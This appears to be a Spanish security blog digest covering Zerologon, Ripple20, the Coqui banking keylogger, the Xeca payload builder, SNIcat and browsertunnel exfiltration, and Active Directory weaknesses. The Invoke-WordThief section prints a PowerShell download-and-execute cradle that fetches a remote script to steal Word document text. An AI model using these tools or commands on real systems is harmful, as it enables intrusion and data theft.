Zerologon desatado: la vulnerabilidad que permite comprometer cualquier controlador de dominio de Windows fácilmente

El 11 de agosto Microsoft a través de Tom Tervoort de Secura trataba una vulnerabilidad en el servicio Netlogon. Netlogon Remote Protocol es una interfaz RPC disponible en los controladores de dominio de Windows. Se utiliza para diversas tareas relacionadas con la autenticación de usuarios y máquinas, sobretodo para facilitar que los usuarios inicien sesión en servidores utilizando el protocolo NTLM, pero también para otras cosas como la autenticación de respuestas NTP y para permitir que un equipo actualice su contraseña dentro del dominio. El servicio RPC se sirve en un puerto dinámico TCP asignado por el servicio "portmapper" del controlador de dominio, o mediante una canalización SMB en el puerto 445.

En aquel momento Microsoft sólo decía brevemente que para explotar la vulnerabilidad un atacante no autenticado podía usar MS-NRPC para conectarse a un controlador de dominio y obtener acceso de administrador de dominio. Pero un mes después, el 11 de septiembre de 2020, la misma empresa Secura lanzó un advisory con una herramienta para identificar las máquinas vulnerables a esta vulnerabilidad identificada como CVE-2020-1472 (CVSS 10.0) y tres días después publicó un paper técnico explicando la vulnerabilidad más en detalle, desatando una avalancha de PoCs y herramientas que están poniendo en vilo a toda la comunidad de seguridad, ya que cualquier atacante sin necesidad de autenticación y con visibilidad por red contra un controlador de dominio puede resetear la password del domain admin.

Lo interesante de este protocolo Netlogon es que no utiliza el mismo esquema de autenticación que otros servicios RPC. En su lugar, utiliza un protocolo criptográfico personalizado para permitir que un cliente (una computadora unida a un dominio) y un servidor (el controlador de dominio) se demuestren entre sí que ambos conocen un secreto compartido. Este secreto compartido es un hash de la contraseña de la cuenta de la computadora del cliente. La razón de esto es que las cuentas de equipo en tiempos Windows NT no podían hacer uso de esquemas de autenticación de usuario estándar como NTLM o Kerberos.

El problema: que la implementación de este protocolo basado en AES-CFB8 no está hecha correctamente. ¿Por qué? Porque para generar las credenciales tanto cliente como servidor usan la función ComputeNetlogonCredential que en su versión más moderna que usa AES-CFB8 define IVs fijos de 16 bytes de ceros en lugar de IVs aleatorios (de ahí que se haya bautizado también a la vulnerabilidad como Zerologon). Con esto, dada una clave aleatoria, hay una probabilidad de 1 entre 256 de que el cifrado AES de un bloque de todo ceros de como salida todo ceros.

A partir de ahí se pueden llevar una serie de pasos para conseguir la explotación. Yo los voy a resumir en español, pero los tenéis en detalle en el paper técnico de Secura.

Listado de retos de CTFs en los que hay que "juakear" videojuegos

Suraj Malhotra aka mrT4ntr4 tiene un repo en Github muy interesante para todos los jugones de CTFs: un recopilatorio de retos que nos desafían a hackear videojuegos de varios tipos. Os lo dejamos también aquí pero os animamos a contribuir con tito Siraj si conocéis alguno más para ampliar esta buena lista. It's time to play:

PC Games
Retro [Gameboy/NES]
Android
Web
 

PC Games

  1. DragonSector CTF 2018
    Solution Videos
    https://youtu.be/8bjFplctDE0
    https://youtu.be/j0taw78tCYs
  2. Nullcon HackIM 2020
    Writeups
    https://medium.com/@roottusk/helping-zelda-capture-flags-nullcon-hackim-2020-f2480099cc3c
    https://devploit.dev/2020/02/09/nullconHackIM-ZeldaAdventures.html
  3. Pwn Adventure Series by Vector35

Ripple20. ¿Preocupado? Lee esto

El objetivo de este pequeño artículo es resumir la información actualmente pública en torno a Ripple20, y arrojar claridad sobre si se tienen o no dispositivos afectados por Ripple20 en la red.

Ideas clave:
  • Posiblemente sólo dispositivos Digi tengan las vulnerabilidades críticas de Ripple20
  • Actualmente no existe un método (gratuito) para determinar con precisión si se tienen dispositivos con afectaciones graves de Ripple20 (CVE-2020-11896 y CVE-2020-11898)
  • ¿La vulnerabilidad presente en un servidor de virtualización afecta a las máquinas virtuales? (¡¿?!)
Contexto

A mediados de junio del 2020 la firma israelí JSOF especializada en la investigación de vulnerabilidades y su explotación en dispositivos embebidos, dio a conocer el descubrimiento de 19 vulnerabilidades que afectaban la implementación de TCP/IP de Treck, este conjunto de vulnerabilidades se denominó como Ripple20. Dicha implementación se encuentra en multitud de marcas y dispositivos, incluyendo servidores, impresoras, dispositivos IoT, equipo médico, etc. Las vulnerabilidades varían en criticidad desde baja hasta alta, las más graves permiten ejecución de código, así como la filtración de información directamente de la memoria del equipo afectado.

Desarrollo

Actualmente los escaneos automatizados a nivel infraestructura pueden revelar aparentemente la existencia de la vulnerabilidad, como es el caso de Nessus, es importante aclarar que Nessus no arroja el detalle de cuál de las 19 vulnerabilidades de Ripple20 está presente en el equipo afectado, simplemente lanza el listado de los CVE involucrados, por lo que es tarea de los equipos de seguridad investigar detalles sobre la vulnerabilidad y encontrar algún método de detección para identificar equipos afectados en la red.

Imagen 1 y 2. Resultado de Nessus referente a Ripple20.
De las 19 vulnerabilidades son de interés las que permitirían ejecución de código, así como filtración de información, tal es el caso de CVE-2020-11896 y CVE-2020-11898, por lo que es recomendable prestar atención en ellas para identificarlas y remediarlas.

Para tener un panorama más amplio de lo que se está hablando se recomienda revisar el documento publicado por JSOF en donde exponen los detalles técnicos de la vulnerabilidad.

Coqui: Malware bancario con propósito educativo

Coqui es un malware diseñado para activarse cuando un usuario visita un sitio web bancario. El malware comparará el título de la ventana con un conjunto de valores hardcodeados. Ese conjunto de valores se puede ampliar simplemente agregándolos a la variable banktitles:


Si un título de la ventana coincide, se inicia el keylogger, pero si no coincide, el malware simplemente seguirá ejecutándose a la espera.

Una vez que se inicia el keylogger, el malware guardará un archivo llamado db.txt en el directorio %TMP%.

El dropper asociado con este malware es simple: verifica todas las ventanas en ejecución para ver si tienen las palabras "Process" o "Administrador de tareas de Windows", ya que normalmente indican que el archivo se está analizando (por ejemplo, Process Hacker, Process Monitor , etc.), si alguna ventana tiene esto en su título, no continuará ejecutándose.
NOTA: Esta lista hardcodeada de procesos que se comprueba antes de continuar con la ejecución se puede ampliar cambiando la variable xprocesses:


Si no ve ninguno de estos procesos, verifica si la víctima ya está infectada buscando en el directorio %TMP% una lista de archivos.
- Si la víctima ya está infectada, el dropper enviará las pulsaciones de teclas recopiladas a un servidor remoto que se especifica en el segundo parámetro de la función Pigeon a través de peticiones GET.
- Si la víctima no está infectada, se copia a sí mismo en el directorio %TMP% con el nombre 01.exe y crea una tarea programada para ejecutarse cada 12 días a las 12:00 del mediodía. Finalmente, descarga el keylogger y lo renombra a ursakta.exe.

Antes de usar

Cambiar la dirección IP del servidor (segundo parámetro para la función Pigeon) así como la URL del archivo keylogger principal (primer parámetro para la función Pigeon). La función pigeon se llama en main:


Compilación

Cross-compile de Linux a Windows usando mingw:

64 bits (para el dropper): x86_64-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet

32 bits (para el dropper): i686-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet

64 bits (para keylogger): x86_64-w64-mingw32-gcc input.c -o output.exe

32 bits (para keylogger): i686-w64-mingw32-gcc input.c -o output.exe

Purple Cloud: despliega un lab de DA en la nube

Purple Cloud de Jason Ostrom es una pequeña implementación de Active Directory automatizada con plantillas de playbooks en Terraform/Ansible para implementar en Azure; ideal para organizar y llevar a cabo un ciberejercicio de pentesting en AD. Sus características actuales son:

- Implementa una máquina virtual Linux para pentesting y un contenedor Docker (AriaCloud) accesible a través de RDP
- También se puede realizar una implementación independiente de AriaCloud desde este repositorio. Para esta opción, hay que navegar hasta el directorio aria-cloud y ver el archivo README. Más info en https://github.com/iknowjason/AriaCloud.
- Implementa un controlador de dominio Windows 2019 y tres endpoints de Windows 10 Pro
- Une automáticamente los tres equipos con Windows 10 al dominio AD
- Utiliza plantillas de Terraform para implementar automáticamente VMs en Azure
- Las plantillas de Terraform escriben la configuración de los playbooks en Ansible, que se pueden personalizar
- Carga Badblood automáticamente (pero no lo instala) si prefieres generar miles de usuarios simulados https://github.com/davidprowe/BadBlood
- El script de Powershell posterior a la implementación proporciona tres usuarios de dominio en el controlador de dominio 2019 y se puede personalizar para muchos más
  • Usuarios del dominio: olivia (administrador del dominio); lars (usuario de dominio); liem (Usuario de dominio)
  • Todas las contraseñas de usuario de dominio: Password123
  • Dominio: RTC.LOCAL
  • Credenciales del administrador de dominio: RTCAdmin: Password123
- Implementa cuatro subredes IP
- Implementa grupos de seguridad de red de Azure (NSG) intencionalmente inseguros que permiten RDP, WinRM (5985, 5986) y SSH desde la Internet pública. Securiza esto según tus requisitos. WinRM se utiliza para aprovisionar automáticamente los hosts.

SNIcat: bypasseando la inspección TLS para exfiltrar información

Los investigadores Morten Marstrander y Matteo Malvica de Mnemonic han descubierto un método para exfiltrar información bypasseando dispositivos que interceptan e inspeccionan TLS como proxies web, firewalls de última generación (NGFW) y otras soluciones, entre ellos, dispositivos de F5 Networks, Palo Alto Networks y Fortinet.

Normalmente estos appliances verifican el SNI (Server Name Indication) para bloquearlo si la URL o el hostname están categorizados como maliciosos. EL procedimiento sería así:


Lo más fácil parece cambiar el SNI y luego mandar el tráfico a un dominio malicioso, pero como veis en la imagen muchas plataformas de seguridad si no matchea el SNI con el cn del certificado del sitio bloquean el tráfico directamente. Sin embargo, el bloqueo se realiza una vez que se ha completado el handshake TLS por lo que se puede aprovechar ese stream unidireccional para exfiltrar información (el paquete TLS Client Hello siempre llega a su destino). Además, muchos dispositivos que hacen un mirror del tráfico para descifrarlo e inspeccionarlo con un IDS no reciben el handshake TLS... }:-)

Además, siempre que el servidor presente un certificado válido y confiable durante el handshake TLS, la solución de seguridad siempre presentará una versión emulada de ese certificado al cliente, firmada por la CA integrada de la solución. Este comportamiento ocurre incluso si el dominio utilizado está en la lista negra de una base de datos de reputación (categorización de URL/dominio). Sin embargo, si el certificado que presenta el servidor es auto-firmado no confiable normalmente devuelven un reset a la sesión TCP.

Creación de payloads cifrados en Powershell con Xeca

Xeca es un proyecto que crea payloads cifrados de PowerShell con fines ofensivos. También es posible crear shellcodes independientes a partir de archivos DLL. Para instalarlo, tenemos que tener previamente Rust y luego construir el proyecto simplemente con el comando: cargo build.

Su funcionamiento es el siguiente:
1. Identifica y cifra el payload. Carga el payload cifrado en un script de PowerShell y lo guarda en un archivo llamado "launch.txt"
2. La clave para descifrar el payload se guarda en un archivo llamado "safe.txt"
3. Ejecuta "launch.txt" en un host remoto
  • El script volverá a llamar al servidor web definido por el atacante para recuperar la clave de descifrado "safe.txt"
  • Descifra el payload en la memoria
  • Ejecuta el payload en la memoria
Algunos ejemplos de uso:

Empire


Merlin


Sliver


Mitigaciones

Si los usuarios tienen que tener acceso a programas como powershell.exe, para mitigar el uso de estas herramientas hay que considerar minimizar los riesgos de seguridad con Just Enough Administration y PowerShell Logging. Las políticas de control de aplicaciones se pueden implementar a través de whitelisting con herramientas como AppLocker.

Proyecto: https://github.com/postrequest/xeca

Herramienta para exfiltrar el texto de los documentos de Word abiertos

Invoke-WordThief es una herramienta que se compone de un script en powershell que conecta con un servidor TCP implementado en python y que monitoriza los documentos de Microsoft Word activos (.doc, .docx, etc.) para extraer/ex-filtrar sus textos. Para ello utiliza los objetos COM de Word y el script también añade un entrada en el registro en la rama HKCU (sin necesidad de privilegios de administración) para conseguir persistencia.

USO
Servidor:
$ python3 ./logger.py -h
usage: logger.py [-h] [-o LOG_DIR] [-p LPORT] [-b BIND]

TCP Listener for Invoke-WordThief document text

optional arguments:
  -h, --help            show this help message and exit
  -o LOG_DIR, -d LOG_DIR, --log_dir LOG_DIR
                        Full path of log directory.
  -p LPORT, -l LPORT, --lport LPORT
                        Listening port of log server
  -b BIND, --bind BIND  Bind address to listen to


Cliente:
PS C:\Users\vis0r\Downloads\Invoke-WordThief-master> help Invoke-WordThief

NOMBRE
    Invoke-WordThief

SINOPSIS
    This is the main function, running all monitoring activity and multithreading (Jobs),
    defined ScriptBlock that runs the text streaming phase (after doc has been opened).

SINTAXIS
    Invoke-WordThief [-SERVER] <String> [[-PERSISTENCE] <Boolean>] [[-LOG_PORT] <Int32>] [[-HTTP_PORT] <Int32>]
    [<CommonParameters>]

DESCRIPCIÓN

VÍNCULOS RELACIONADOS

NOTAS
    Para ver los ejemplos, escriba: "get-help Invoke-WordThief -examples".
    Para obtener más información, escriba: "get-help Invoke-WordThief -detailed".
    Para obtener información técnica, escriba: "get-help Invoke-WordThief -full".


powershell -nop -w 1 -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.138:8888/Invoke-WordThief.ps1');Invoke-WordThief -Server 192.168.1.138"


Fuente: https://github.com/danielwolfmann/Invoke-WordThief

browsertunnel: exfiltrando datos mediante dns-prefetch

Browsertunnel es una herramienta para exfiltrar datos desde el navegador utilizando el protocolo DNS. Para ello abusa de dns-prefetch, una técnica destinada a reducir la latencia percibida de los sitios web al realizar búsquedas DNS en segundo plano para dominios específicos antes si quiera que se soliciten cargarse. Pueden ser una o varias meta etiquetas que se colocan dentro del head, en ellas se establecen los dominios de los cuales vamos a necesitar cargar recursos en nuestra web. De esta manera precargamos los dominios (DNS) para que se resuelva la IP de la cual se descargarán los recursos requeridos, y así evitamos que esa resolución de la IP se haga justo cuando se requiera la carga del recurso. Además el tráfico DNS no aparece en las herramientas de depuración del navegador, no está bloqueado por la Política de seguridad de contenido (CSP) de una página, y a menudo no es inspeccionado por firewalls o proxies corporativos, por lo que es un medio ideal para sacar datos en escenarios restringidos.

Se trata de una técnica antigua: el túnel DNS en sí se remonta a los años 90, y Patrick Vananti escribió sobre el uso de dns-prefetch en 2016, pero por lo que puedo decir, browsertunnel es el primer cliente/servidor de código abierto que demuestra su uso. Debido a que dns-prefetch no devuelve ningún dato al cliente javascript, la comunicación a través de browsertunnel solo es unidireccional. Además, algunos navegadores deshabilitan dns-prefetch de forma predeterminada, y en esos casos, browsertunnel fallará silenciosamente.


El proyecto tiene dos partes:

- Un servidor, escrito en golang, que funciona como un servidor DNS autorizado que recopila y decodifica los mensajes enviados por browsertunnel.
- Una pequeña librería de JavaScript, que se encuentra en la carpeta html/, codifica y envía mensajes desde el lado del cliente

Principales vulnerabilidades en un Directorio Activo

Todos estamos de acuerdo que asegurar un entorno de Active Directory no es una tarea fácil, siempre hay nuevos requisitos, características, pequeños (o grandes) descuidos en su configuración y nuevas vulnerabilidades que van apareciendo casi de forma frenética. Recientemente en el blog de Infosecmatter recogían un top16 de las debilidades y vulnerabilidades más comunes que encontraremos en este tipo de entornos, sin duda una recopilación muy útil y que un pentester a de tener muy en cuenta:

1. Usuarios que tienen permisos para agregar equipos al dominio
2. Atributo AdminCount configurado en usuarios comunes
3. Demasiados usuarios en grupos privilegiados
4. Cuentas de servicio miembros de administradores de dominio
5. Privilegios excesivos que permiten shadow admins en el dominio
6. Cuentas de servicio vulnerables a Kerberoasting
7. Usuarios con contraseñas que no caducan
8. Usuarios con contraseña no requerida
9. Almacenar contraseñas usando cifrado reversible
10. Almacenar contraseñas usando hashes LM
11. Cuentas de servicio vulnerables a AS-REP roasting
12. Política de contraseñas débil
13. Cuentas de dominio inactivas
14. Usuarios privilegiados con restablecimiento de contraseña vencido
15. Usuarios con una contraseña débil
16. Credenciales en SYSVOL y Preferencias de directiva de grupo (GPP)

1. Usuarios que tienen permisos para agregar equipos al dominio

En el Directorio Activo por defecto cualquier usuario de dominio puede agregar worstations. Esto se define mediante el atributo ms-DS-MachineAccountQuota que se establece de manera predeterminada a 10. Es decir, cualquier usuario de dominio con pocos privilegios puede unir hasta 10 computadoras al dominio. Por ejemplo esto brinda la posibilidad a un atacante de agregar su propio equipo no administrado a un dominio corporativo con las siguientes ventajas:

- sin necesidad de tener una solución antivirus o EDR en su máquina
- no se aplicarán configuraciones o políticas de GPO a su sistema
- podrá tener derechos administrativos en su sistema

Para añadir a un equipo al dominio se puede hacer mediante las Propiedades del Sistema (sysdm.cpl) o con powershell:
add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force

# Ejemplo
add-computer –domainname org.local -Credential ORG\john -restart –force

Si tenemos acceso a los controladores de dominio también podemos enumerar aquellas máquinas que fueron agregadas por usuarios que no son administradores:
Import-Module ActiveDirectory
Get-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSID

Volver al principio

2. Atributo AdminCount configurado en usuarios comunes

En DA hay un objeto llamado AdminSDHolder cuyo propósito es proteger objetos. Específicamente, objetos que son miembros de grupos administrativos.

Los objetos AD tienen un atributo llamado AdminCount. El valor predeterminado es para la mayoría de los objetos. Al cambiar el valor a "1", se marca la cuenta como protegida por AdminSDHolder.

Al agregar un usuario a un grupo con permisos de administración se cambia el valor a "1", pero si embargo cuando se saca del grupo ese valor no vuelve a "0". Como resultado, el objeto de usuario sigue teniendo ACL "sensibles" como por ejemplo deshabilitar la herencia de permisos. Esto puede ser un riesgo en algunos escenarios.

Para encontrar usuarios con el atributo AdminCount configurado a 1 podemos usar la herramienta LDAPDomainDump. Esta herramienta recopila información sobre todos los usuarios, grupos y equipos del dominio. Todo lo que necesitamos son credenciales de cualquier usuario de dominio con pocos privilegios y poder llegar al puerto LDAP de cualquier controlador de dominio.